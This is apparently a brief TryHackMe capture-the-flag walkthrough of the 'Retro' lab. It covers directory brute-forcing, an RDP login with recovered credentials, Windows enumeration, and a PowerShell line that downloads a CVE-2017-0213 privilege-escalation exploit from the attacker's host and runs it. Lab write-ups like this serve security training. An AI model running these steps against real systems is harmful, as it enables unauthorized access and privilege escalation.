TryHackMe25 Jan 20251 min read

THM - Retro

Retro - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.

THM - Retro#

NMAP

Directory bruteforce:

bash

gobuster dir -u http://10.10.216.131 -w /usr/share/seclists/Discovery/Web-Content/big.txt

http://10.10.216.131/retro/

Looking at the page source - Found:

http://10.10.216.131/retro/index.php/author/wade/

bash

xfreerdp /v:10.10.216.131 /u:wade /p:"parzival" /dynamic-resolution /cert:ignore

We can read user.txt

Start enumeration:

bash

query user

bash

whoami /all

** Check Recycle Bin for hhupd.exe file

Kept getting to this point but no programs show up
Found a hint: Make sure to open Internet Explorer and Chrome BEFORE running the program

But still doesn't work

Download and extract the zip file and transfer to the windows machine:

bash

(New-Object System.Net.WebClient).DownloadFile('http://10.8.24.66:8081/CVE-2017-0213_x64.exe', 'C:\Users\wade\CVE-2017-0213_x64.exe')

And just run it

Read root.txt

TryHackMe2 May 20252 min

Ra2 - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.

TryHackMe13 Apr 20252 min

Ra - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.

TryHackMe28 Mar 20253 min

VulnNet - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.